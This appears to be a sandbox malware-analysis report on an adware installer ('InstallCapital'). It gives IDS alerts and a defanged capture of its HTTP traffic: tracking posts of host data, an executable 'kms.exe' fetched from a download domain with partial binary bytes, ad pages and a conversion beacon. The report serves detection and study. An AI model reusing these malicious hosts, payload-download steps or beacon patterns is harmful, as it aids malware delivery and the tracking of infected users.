trk.railquince.bid 52.58.112.6
2.pool.ntp.org 79.142.192.4


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Backdoor User-Agent (InstallCapital)
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
ET POLICY PE EXE or DLL Windows file download HTTP
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected

Traffic

POST hXXp://lip.healthcakes.men/installer.php?affId=2629&instId=6935&ho_trackingid=HO5acf8db4ef9725acf8db530996&trackingId=314068077&cc=UA&untracked=&uac=1&osd=1604&net=4.5.50709&cid=5c12d1104cca24294ae7d8d45ce8d028&v=3 HTTP/1.1
Host: lip.healthcakes.men
Connection: close
Accept: */*
User-Agent: InstallCapital
Content-Type: application/x-www-form-urlencoded
Content-Length: 1133

cid=5c12d1104cca24294ae7d8d45ce8d028&uac=1&id[]=481343&id[]=481348&id[]=481352&id[]=481361&id[]=481362&id[]=481370&id[]=481371&id[]=481372&id[]=481373&id[]=481374&id[]=481375&id[]=481376&id[]=481377&id[]=481378&id[]=481379&id[]=1274019&id[]=4415&id[]=4416&id[]=453683&id[]=453684&id[]=453685&id[]=453686&id[]=686787&id[]=686788&id[]=686789&id[]=686790&id[]=455577&id[]=481332&id[]=481333&id[]=481334&id[]=481335&id[]=481336&id[]=481337&id[]=481338&id[]=481339&id[]=481340&id[]=481341&id[]=481342&id[]=481344&id[]=481345&id[]=481346&id[]=481347&id[]=481349&id[]=481350&id[]=481351&id[]=481353&id[]=481354&id[]=481355&id[]=481356&id[]=481357&id[]=481358&id[]=481359&id[]=481360&id[]=481363&id[]=481364&id[]=481365&id[]=481366&id[]=481367&id[]=481368&id[]=481369&id[]=481380&id[]=481381&id[]=481382&id[]=481383&id[]=481384&id[]=481385&id[]=481386&id[]=481387&id[]=481388&id[]=481389&id[]=998579&id[]=1868&id[]=1877&id[]=1891&id[]=1892&id[]=1893&id[]=1898&id[]=1899&id[]=1900&id[]=3954&id[]=3955&id[]=3956&id[]=3957&id[]=3958&id[]=3959&id[]=3960&id[]=3961&id[]=3193&id[]=1322488&id[]=1322489&id[]=4064&id[]=4414&id[]=1607978&id[]=1607979
HTTP/1.1 403 Forbidden
Server: CloudFront
Date: Thu, 12 Apr 2018 16:47:45 GMT
Content-Type: text/html
Content-Length: 694
Connection: close
X-Cache: Error from cloudfront
Via: 1.1 f32dfb4a33594b7c1c1bbebfe50a0bfd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: JL55jjqmhZgW-ECuOuawk20DKq6QnnWxtmyFaiz4q0CjPr_ZD9ygcA==
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "htt
p://VVV.w3.org/TR/html4/loose.dtd">.<HTML><HEAD><MET
A HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
;.<TITLE>ERROR: The request could not be satisfied</TITLE>
.</HEAD><BODY>.<H1>403 ERROR</H1>.<H2>Th
e request could not be satisfied.</H2>.<HR noshade size="1px"
>.This distribution is not configured to allow the HTTP request met
hod that was used for this request. The distribution supports only cac
hable requests...<BR clear="all">.<HR noshade size="1px">.
<PRE>.Generated by cloudfront (CloudFront).Request ID: JL55jjqmh
ZgW-ECuOuawk20DKq6QnnWxtmyFaiz4q0CjPr_ZD9ygcA==.</PRE>.<ADDRE
SS>.</ADDRESS>.</BODY></HTML>..



GET /files135/65/10390/120492/FB_RU_800_Icons2.jpg HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.1-1ads.com/ads?key=3a71f57f6d976f956c5f61dbdd4adf7b&ch=&cp.chan=&cp.vtl=&cp.crr=&cp.exld=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: irncdn.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 12 Apr 2018 16:48:02 GMT
Content-Type: image/jpeg
Content-Length: 97369
Connection: keep-alive
Access-Control-Allow-Origin: *
Last-Modified: Tue, 28 Feb 2017 14:24:48 GMT
Server: CDN77-Turbo
X-Edge-IP: 185.180.12.10
X-Edge-Location: viennaAT
X-Cache: HIT
X-Age: 502651
......Exif..II*.................Ducky.......P...../hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c11
1 79.158325, 2015/09/10-01:10:20        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"
 xmpMM:InstanceID="xmp.iid:F65B7BCC06FC11E69887BD153D44D083" xmpMM:Doc
umentID="xmp.did:F65B7BCD06FC11E69887BD153D44D083"> <xmpMM:Deriv
edFrom stRef:instanceID="xmp.iid:F65B7BCA06FC11E69887BD153D44D083" stR
ef:documentID="xmp.did:F65B7BCB06FC11E69887BD153D44D083"/> </rdf
:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end=
"r"?>....Adobe.d...................................................
......................................................................
.......................... ...........................................
....................................................!1..A.Qa".q.2.S...
BR.#..V....b3.$...7Wr..u...Cs4Tt%6v...5Ue..F...c.&G8.Dd...............
.........!1AQ..q...a."2R.....3S...Br#4.b$......CT5.s..D%ct............
.?......L..k.TG.........B...../..Q.....L..iD*;..2.q..........B...../..
Q.....L..iD*;..2.q..........B...../..Q.....L..iD*;..2.q..........B....
./..Q.....L..iD*;..2.q..........B...../..Q.....L..iD*;..2.q.......
<<< skipped >>>


GET /pr/3e07b12e-e7d1-11e6-836f-02e33f60d095/typ_1.html HTTP/1.1
Accept: text/html, application/xhtml xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: ic-dc.bundlessafevault.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1041
Connection: keep-alive
Date: Sun, 07 Jan 2018 06:31:08 GMT
Last-Modified: Tue, 20 Jun 2017 11:04:26 GMT
ETag: "1a020086610d48a917b9d08a84026ad5"
Accept-Ranges: bytes
Server: AmazonS3
Age: 35410
X-Cache: Hit from cloudfront
Via: 1.1 bd881f081f56cf6bcf454c79fda1ac83.cloudfront.net (CloudFront)
X-Amz-Cf-Id: jn28kfmXuk871qPCqcR-MKT9sy1Q0idn7yfjUym6oRdKtqqrUSXDmg==
<!doctype html>.<html>..<head lang="en">..<title&
gt;Thank you page</title>..<meta http-equiv="Content-Type" co
ntent="text/html; charset=UTF-8">..<meta name="viewport" content
="width=device-width, initial-scale=1">..<link rel="stylesheet" 
href="../public/css/style.css">..<script src="../public/js/jquer
y.min.js" type="text/javascript"></script>.</head>..<
;body>..<div class="wrapper">...<div class="header">...
.<div class="title">.....<div class="title-caption">Thank 
you for downloading!</div>....</div>...</div>...<
div class="content">....<div class="inner">.....<div class
="adnl_zone">.....</div>....</div>...</div>..<
/div>..<script type="text/javascript">...window.tagUrl = 'htt
p://VVV.1-1ads.com/ads?key=3a71f57f6d976f956c5f61dbdd4adf7b&ch=';..<
;/script>..<script src="hXXp://ic-dc.s3.amazonaws.com/pr/public/
js/adframe.js" type="text/javascript"></script>..<script s
rc="hXXp://ic-dc.s3.amazonaws.com/ads.js?stam=err" type="text/javascri
pt"></script>..<script src="../public/js/detector.js" type
="text/javascript"></script>.</body>..</html>.ont>....
<<< skipped >>>


GET /setup/kms.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: InstallCapital
Host: bestsoftwaredownloadfree.com


HTTP/1.1 200 OK
Date: Thu, 12 Apr 2018 16:47:48 GMT
Server: Apache
Last-Modified: Wed, 06 Dec 2017 03:30:48 GMT
Accept-Ranges: bytes
Content-Length: 4200822
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........&K.HG%.HG%.
HG%.A?..SG%.A?...G%.A?..]G%.HG$..G%.A?../G%.A?..IG%.A?..IG%.A?..IG%.Ri
chHG%.................PE..L....R.T....................................
......@..........................`....................................
......3...|............D..............................................
................@............................................text.....
.......................... ..`.rdata...O.......P..................@..@
.data...(...........................@....rsrc....D.......F............
......@..@............................................................
......................................................................
......................................................................
......................................................................
......................................................................
................................................B..E...QV...u....8...E
......X.....l-...E...I......"...E...:..........E....M...M...N@..M...M.
^d........3..|$..rJ.L$..9RuA.|$..r:.y.au4.y.ru..y.!u(.y..u".y..u..I...
u.j......u.j......u.j.X.....j...L.....H....P..U....\....t..E...@....E.
..P....u..E.....E...E.]....D$.V...F..N.;N.v_.F.SUW..%C...t.;.v.Ph..B.U
.vR.........R...F.......D. .N...;.w...S.6.......YY..u.....Q...>_].^
.[^...V...L$......P..F..V...^.........j..p..p..R...D$.V...F..N.;N.v`.F
.SUW..%C...t.;.v.Ph..B.U..Q........vQ...F..~.......D. ;.w.....?P.6
<<< skipped >>>


GET /ads.js?stam=err HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://ic-dc.bundlessafevault.com/pr/3e07b12e-e7d1-11e6-836f-02e33f60d095/typ_1.html
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: ic-dc.s3.amazonaws.com
Connection: Keep-Alive


HTTP/1.1 200 OK
x-amz-id-2: SiIHKD/dQhS1EvB1nilGEDQ7PtymgHJrXXD6Wb06byo zNIRtty4Tph6GcV ZlUDuO6gf2hPHF0=
x-amz-request-id: 37CEA66F746C3FE3
Date: Thu, 12 Apr 2018 16:48:02 GMT
Last-Modified: Thu, 12 Jan 2017 15:34:57 GMT
ETag: "bebd18b90969d9319e931acf4d682aa4"
x-amz-meta-cb-modifiedtime: Mon, 09 Jan 2017 12:15:17 GMT
Accept-Ranges: bytes
Content-Type: application/x-javascript
Content-Length: 24
Server: AmazonS3
window.adsAreOk2 = true.HTTP/1.1 200 OK..x-amz-id-2: SiIHKD/dQhS1EvB1n
ilGEDQ7PtymgHJrXXD6Wb06byo zNIRtty4Tph6GcV ZlUDuO6gf2hPHF0=..x-amz-req
uest-id: 37CEA66F746C3FE3..Date: Thu, 12 Apr 2018 16:48:02 GMT..Last-M
odified: Thu, 12 Jan 2017 15:34:57 GMT..ETag: "bebd18b90969d9319e931ac
f4d682aa4"..x-amz-meta-cb-modifiedtime: Mon, 09 Jan 2017 12:15:17 GMT.
.Accept-Ranges: bytes..Content-Type: application/x-javascript..Content
-Length: 24..Server: AmazonS3..window.adsAreOk2 = true...



GET hXXp://lamp.troublerifle.bid/h_redir.php?offer_id=4&aff_id=2629&source=6935&aff_sub=&aff_sub2=&aff_sub3=&aff_sub4=LP_DEF&aff_sub5=1042698461&url=http://lamp.troublerifle.bid/offer.php?affId={aff_id}&trackingId=314068077&instId=6935&ho_trackingid={transaction_id}&cc={country_code}&cc_typ=ho&sb=x86&net=4.5.50709&ie=9.0.8112.16421&wv=7sp1&db=InternetExplorer&uac=1&cid=5c12d1104cca24294ae7d8d45ce8d028&osd=1604&res=1276x846&v=3 HTTP/1.1
Host: lamp.troublerifle.bid
Connection: close
Accept: */*
User-Agent: InstallCapital


HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
Content-Length: 447
Connection: close
Location: hXXp://lamp.troublerifle.bid/offer.php?affId=2629&trackingId=314068077&instId=6935&ho_trackingid=HO5acf8db4ef972&cc=UA&cc_typ=ho&sb=x86&net=4.5.50709&ie=9.0.8112.16421&wv=7sp1&db=InternetExplorer&uac=1&cid=5c12d1104cca24294ae7d8d45ce8d028&osd=1604&res=1276x846&v=3
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.3.28
Date: Thu, 12 Apr 2018 16:47:48 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e482e2c19d6e57adc72e19f731c7bf44.cloudfront.net (CloudFront)
X-Amz-Cf-Id: BAz9Hbi8-fCGKTK7TEnWbBAwina9CtkFRpxGLC3vG6VfkIOD85pPUA==
<head><title>Document Moved</title></head>.<
;body><h1>Object Moved</h1>This document may be found &
lt;a HREF="hXXp://lamp.troublerifle.bid/offer.php?affId=2629&track
ingId=314068077&instId=6935&ho_trackingid=HO5acf8db4ef972&
cc=UA&cc_typ=ho&sb=x86&net=4.5.50709&ie=9.0.8112.16421
&wv=7sp1&db=InternetExplorer&uac=1&cid=5c12d1104cca242
94ae7d8d45ce8d028&osd=1604&res=1276x846&v=3">here</a
></body>..



GET hXXp://lamp.troublerifle.bid/offer.php?affId=2629&trackingId=314068077&instId=6935&ho_trackingid=HO5acf8db4ef972&cc=UA&cc_typ=ho&sb=x86&net=4.5.50709&ie=9.0.8112.16421&wv=7sp1&db=InternetExplorer&uac=1&cid=5c12d1104cca24294ae7d8d45ce8d028&osd=1604&res=1276x846&v=3 HTTP/1.1
Host: lamp.troublerifle.bid
Connection: close
Accept: */*
User-Agent: InstallCapital


HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 9816
Connection: close
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.3.28
Set-Cookie: PHPSESSID=vv55ae5t1g070lrf6ano9q6v16; path=/
Set-Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMVwiOjE1MjM1NTE2NjR9LFwidGltZVwiOjE1MjM1NTE2NjR9In0.DCGwpV4hnnglkFGxzWFtcmJ8DSnLXbkGS3sFMCBgeHg; expires=Sun, 13-May-2018 16:47:49 GMT; path=/; domain=.lamp.troublerifle.bid
Date: Thu, 12 Apr 2018 16:47:49 GMT
X-Cache: Miss from cloudfront
Via: 1.1 973544984500f17f202d338274a94acc.cloudfront.net (CloudFront)
X-Amz-Cf-Id: FGIxQjOFdSSU-SeOmG19WhC6-kSUPp1K2BZIWX5U11OXw1zIMPcg2A==
.i..4...!..`!x`.....zL?.\B....%..6.U)F./?.y...1....@..]....7..).i.....
=....x...h..okZy.. ..N.S.}Ox7..S0.HJE|6..GV<W../.6..6.z0].(bI....v.
p....(l.g..S.{...#9E.a ...n.#,.. B.\f..4P....1.bC......m..Kl.6..T.fX..
9...-.>{.Op..U..~20...El./=6.v..0].).'p.`.....y.=....x..Y..[....l.y
.@CC6..6.C.%v'..2....>.<N.iX.........l...!i.........j>nPl"E.I
.lR..b.W.@.g8?..w..."....j.....f.6l..r...0.m....................0.....
.<..QU[..8.L....{..-_....8...O."...a....../Q......$-R.`L..v....,\..
s....`.L..S.&.3...O..r|Ar(H).C.....G..c.}3g~C. M7) .S.&.......@...4..k
?U.....jK...\."..J..{......&. .U.9.....R.Ck...|......Z..Cc....t.g...H.
..g...@.......L./.J....U.l.....~..=...|.H.a....._3.62..M...eU.J.(".`m.
....`i..9..._..".l... v..........v.S...E........>..xZ..9...,....k. 
.../ .a|.......^a.}...6..O.........P^0.8.:f*...4/.C..'eUao.R......h...
ho.........3...K>.G...A`d...~.%D........'..D.V.T.f........F.*:.....
..@...].5.F'..&~.`d7.....9.g..c....F.......S....]......!n.E.....M..R..
..%.R..].....a.;.u...k.zdd....-......<........{.....V.(g@u....VCFc.
(......y.$:.......z$.lh..W..sW./...Tpi...H.v...u9......rM.z..q.6.S.T..
.......b.........z.3x.N.DVu.S....D.$}`...YQ~\.....S..q.-w?..=.X..k.k..
.N..4. :...t).Z.....=.4....4..8...H...:....a'.j\..H..691....i........X
|._1$E....)^Z..,.-..[..qN. ..V.(..i....O.S.L0....w..^....k..1..$.....?
..A......K[.L..]A.rw.y0x..P(..........o.ty....hH_..l(L.A3.ft8T..o'..9.
N."f...9M...9..Q._n\....gwK..-..sgJ......h.#.&R.K..&!....E.I.. E}.....
....N...r.v.z0/.*...R....(....Y....s.4M.I.p...y...V....k_e.9E6...[
<<< skipped >>>


GET /favicon.ico HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Host: ic-dc.bundlessafevault.com
Connection: Keep-Alive


HTTP/1.1 403 Forbidden
Content-Type: application/xml
Transfer-Encoding: chunked
Connection: keep-alive
Date: Thu, 12 Apr 2018 16:43:49 GMT
Server: AmazonS3
Age: 252
X-Cache: Error from cloudfront
Via: 1.1 060ca31072eeb611f7aba7d502af0a42.cloudfront.net (CloudFront)
X-Amz-Cf-Id: CJE7YJF5d9LB_zFc60Pz7ouQ3tMF8V8hVo8m9upHbE-x5ZOn5psRRw==
f3..<?xml version="1.0" encoding="UTF-8"?>.<Error><Code
>AccessDenied</Code><Message>Access Denied</Message&
gt;<RequestId>7D13BBAC4AFD1A74</RequestId><HostId>8Z
khRjZkCavSPb41pQNFw/lIMbBVyTRT60OqIbnPVQOTFY 7IWXhOn981m26JELuZiAR/CEP
VU4=</HostId></Error>..0..HTTP/1.1 403 Forbidden..Content-
Type: application/xml..Transfer-Encoding: chunked..Connection: keep-al
ive..Date: Thu, 12 Apr 2018 16:43:49 GMT..Server: AmazonS3..Age: 252..
X-Cache: Error from cloudfront..Via: 1.1 060ca31072eeb611f7aba7d502af0
a42.cloudfront.net (CloudFront)..X-Amz-Cf-Id: CJE7YJF5d9LB_zFc60Pz7ouQ
3tMF8V8hVo8m9upHbE-x5ZOn5psRRw==..f3..<?xml version="1.0" encoding=
"UTF-8"?>.<Error><Code>AccessDenied</Code><Mes
sage>Access Denied</Message><RequestId>7D13BBAC4AFD1A74
</RequestId><HostId>8ZkhRjZkCavSPb41pQNFw/lIMbBVyTRT60OqIb
nPVQOTFY 7IWXhOn981m26JELuZiAR/CEPVU4=</HostId></Error>..0
..



GET /pr/public/css/style.css HTTP/1.1
Accept: text/css
Referer: hXXp://ic-dc.bundlessafevault.com/pr/3e07b12e-e7d1-11e6-836f-02e33f60d095/typ_1.html
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: ic-dc.bundlessafevault.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/css
Content-Length: 1472
Connection: keep-alive
Date: Mon, 10 Jul 2017 02:39:24 GMT
Last-Modified: Thu, 21 Jul 2016 07:28:41 GMT
ETag: "d87938f58e3b40da8272e3eb0c1b47d3"
Accept-Ranges: bytes
Server: AmazonS3
Age: 33844
X-Cache: Hit from cloudfront
Via: 1.1 fc8079312db6046d812ded83f2668ac6.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Shqgg_lmBXHTuhJ6uuVrDe5MHYROavm_H-70z7WmwfDdveP0P-n03A==
body {.  padding: 0;.  margin: 0;.  background-color: white;.  font-fa
mily: arial, sans-serif;.  color: #0b0b0b; }...wrapper {.  position: a
bsolute;.  top: 0;.  bottom: 0;.  left: 0;.  right: 0; }.  .wrapper .h
eader {.    height: 294px;.    margin: 0 auto;.    background-color: #
0b0b0b; }.    .wrapper .header .title {.      color: white;.      text
-align: center; }.      .wrapper .header .title .title-caption, .wrapp
er .header .title .title-caption-inter {.        text-align: center;. 
       font-style: italic;.        font-weight: 600;.        font-size
: 38px;.        line-height: 103px; }.      .wrapper .header .title .t
itle-caption-inter {.        line-height: 40px;.        padding-top: 3
0px; }.      .wrapper .header .title .title-description {.        font
-size: 20px;.        padding-top: 10px;.        width: 615px;.        
margin: 0 auto;.        font-style: italic; }.  .wrapper .content {.  
  text-align: center;.    margin: 0 auto;.    height: 654px;.    backg
round-color: white; }.    .wrapper .content .inner, .wrapper .content 
.inner-typ {.      top: -191px;.      margin: 0 auto;.      position: 
relative;.      width: 800px;.      height: 440px;.      border: 20px 
solid #bfccd2;.      background-color: white; }.    .wrapper .content 
.inner-typ {.      top: -140px; }.    .wrapper .content .adnl_zone {. 
     position: absolute;.      background-color: #bfccd2;.      margin
: auto;.      top: 0;.      right: 0;.      left: 0;.      bottom: 0; 
}...
<<< skipped >>>


GET /pr/public/js/jquery.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://ic-dc.bundlessafevault.com/pr/3e07b12e-e7d1-11e6-836f-02e33f60d095/typ_1.html
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: ic-dc.bundlessafevault.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: application/javascript
Content-Length: 86351
Connection: keep-alive
Date: Mon, 10 Jul 2017 02:27:04 GMT
Last-Modified: Sun, 07 Aug 2016 11:30:34 GMT
ETag: "05e51b1db558320f1939f9789ccf5c8f"
Accept-Ranges: bytes
Server: AmazonS3
Age: 41069
X-Cache: Hit from cloudfront
Via: 1.1 f32dfb4a33594b7c1c1bbebfe50a0bfd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: NuxxxLrDJi029L5VkSRS7kqx7VSzO2hY9teN8uUXF-GG86qcuFJ5Jw==
/*! jQuery v3.1.0 | (c) jQuery Foundation | jquery.org/license */.!fun
ction(a,b){"use strict";"object"==typeof module&&"object"==typeof modu
le.exports?module.exports=a.document?b(a,!0):function(a){if(!a.documen
t)throw new Error("jQuery requires a window with a document");return b
(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use s
trict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.con
cat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toSt
ring,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElemen
t("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}v
ar q="3.1.0",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\
xA0] |[\s\uFEFF\xA0] $/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){retur
n b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,t
oArray:function(){return f.call(this)},get:function(a){return null!=a?
a<0?this[a this.length]:this[a]:f.call(this)},pushStack:function(a)
{var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:
function(a){return r.each(this,a)},map:function(a){return this.pushSta
ck(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){
return this.pushStack(f.apply(this,arguments))},first:function(){retur
n this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b
=this.length,c= a (a<0?b:0);return this.pushStack(c>=0&&c<b?[
this[c]]:[])},end:function(){return this.prevObject||this.constructor(
)},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=functi
<<< skipped >>>


GET /ads?key=3a71f57f6d976f956c5f61dbdd4adf7b&ch=&cp.chan=&cp.vtl=&cp.crr=&cp.exld= HTTP/1.1
Accept: text/html, application/xhtml xml, */*
Referer: hXXp://ic-dc.bundlessafevault.com/pr/3e07b12e-e7d1-11e6-836f-02e33f60d095/typ_1.html
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: VVV.1-1ads.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: *
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="CAO PSA OUR"
Set-Cookie: UUID=43889050-3e71-11e8-9a86-3c4a92ef4778; Domain=.VVV.1-1ads.com; Expires=Sat, 11-Apr-2020 16:48:02 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Content-Length: 1307
Date: Thu, 12 Apr 2018 16:48:01 GMT
<!DOCTYPE html><html><head><!--120492:5103-->&
lt;/head><body leftmargin='0' topmargin='0' marginwidth='0' marg
inheight='0' style='background-color:transparent; width: 100%; text-al
ign: center;'><script type="text/javascript">new Image().src 
= "hXXp://VVV.1-1ads.com/impression.gif?b=120492&p=5103&c=10390&h=177a
937b0d9a7a39eee4f1dd260ad305&l=UA&sh=800&sw=1280&ad.trans.id=o3395g3cv
nxt&cps=Y2hhbg*~dnRs*~Y3Jy*~ZXhsZA*&s=10529c7be37773fb4b6457ccb63e7fd3
&t=1523551682009";</script><a href="hXXps://VVV.facebook.com/
campaign/landing.php?campaign_id=450270011836003&extra_1=10390&placeme
nt=5103&creative=120492&keyword=&partner_id=ironsource&extra_2=UA" onm
ousedown="(function(a){a&&a.href&&(a.onmousedown='',a.href='hXXp://www
.1-1ads.com/cr?b=120492&p=5103&c=10390&h=177a937b0d9a7a39eee4f1dd260ad
305&l=UA&sh=800.0&sw=1280.0&ad.trans.id=o3395g3cvnxt&cps=Y2hhbg*~dnRs*
~Y3Jy*~ZXhsZA*&UUID=43889050-3e71-11e8-9a86-3c4a92ef4778&t=15235516820
09&u=https://VVV.facebook.com/campaign/landing.php?campaig
n_id=450270011836003&extra_1=10390&placement=5103&creative
=120492&keyword=&partner_id=ironsource&extra_2=UA')})(th
is);return!1;"  target="_blank"><img border="0" alt="" src="http
://irncdn.com/files135/65/10390/120492/FB_RU_800_Icons2.jpg" width="80
0" height="440"></a></body></html>..
<<< skipped >>>


GET /report.php?typ=conversion&transId=314068077&affId=2629&instId=6935&ho_transId=HO5acf8db4ef9725acf8db530996&s1=&s2=&s3=&s4=LP_DEF&s5=1042698461&cid=5c12d1104cca24294ae7d8d45ce8d028&uac=true&randid=0.652981602515224 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: InstallCapital
Host: kiss.oatmealscene.loan


HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.3.28
Set-Cookie: PHPSESSID=kb1i06c6qsuja51hdsrgq42d12; path=/
Set-Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMVwiOjE1MjM1NTE2Njh9LFwidGltZVwiOjE1MjM1NTE2Njh9In0.lHsDYzAkLYnI782WykZ3WVwXDR0mZglmsfyyXOpFMNk; expires=Sun, 13-May-2018 16:47:53 GMT; path=/; domain=.kiss.oatmealscene.loan
Date: Thu, 12 Apr 2018 16:47:52 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: no-store, no-cache, must-revalidate, p
ost-check=0, pre-check=0..Pragma: no-cache..Content-Type: text/html; c
harset=utf-8..Expires: Thu, 19 Nov 1981 08:52:00 GMT..Server: Microsof
t-IIS/8.5..X-Powered-By: PHP/5.3.28..Set-Cookie: PHPSESSID=kb1i06c6qsu
ja51hdsrgq42d12; path=/..Set-Cookie: a862a6096792e35ad3375e3a94312fe4b
a1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ
25zXCI6e1wiMVwiOjE1MjM1NTE2Njh9LFwidGltZVwiOjE1MjM1NTE2Njh9In0.lHsDYzA
kLYnI782WykZ3WVwXDR0mZglmsfyyXOpFMNk; expires=Sun, 13-May-2018 16:47:5
3 GMT; path=/; domain=.kiss.oatmealscene.loan..Date: Thu, 12 Apr 2018 
16:47:52 GMT..Content-Length: 0..



GET /pr/public/js/detector.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://ic-dc.bundlessafevault.com/pr/3e07b12e-e7d1-11e6-836f-02e33f60d095/typ_1.html
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: ic-dc.bundlessafevault.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: application/x-javascript
Content-Length: 2194
Connection: keep-alive
Date: Mon, 26 Mar 2018 06:45:31 GMT
Last-Modified: Mon, 26 Mar 2018 06:44:30 GMT
ETag: "4e3b3271a30d8939350ace1584358785"
x-amz-meta-cb-modifiedtime: Tue, 06 Mar 2018 13:48:43 GMT
Accept-Ranges: bytes
Server: AmazonS3
Age: 36101
X-Cache: Hit from cloudfront
Via: 1.1 16a8156bb9e085b1e79a6bf5cb89d49e.cloudfront.net (CloudFront)
X-Amz-Cf-Id: uI85UAwtbUwO62QvtgebFCz58JSBsM6_E0qPVrrY4sS0_2_Av0dR6w==
$(document).ready(function() {...if (!window.adsAreOk || !window.adsAr
eOk2) {...console.log("no ads for us");....var link = window.link || "
hXXps://freecoolapps.com/v2/?ac=ds";....$(".content").    ..find("[cla
ss^=inner]").    ..css({.      ..display: "block".    .}).    ..append
(.      ..'<div class="blocked_box">'  .        .'<a href="' 
 .        .link  .        .'"><img src="../public/img/recommende
d_chromium.jpg"></a> '  .        ."</div>".    .);..../
/ Stylizing the newly created box...var box = $(".blocked_box");...  .
box.css({..    .position: "absolute",..    .top: "0",..    .left: "0",
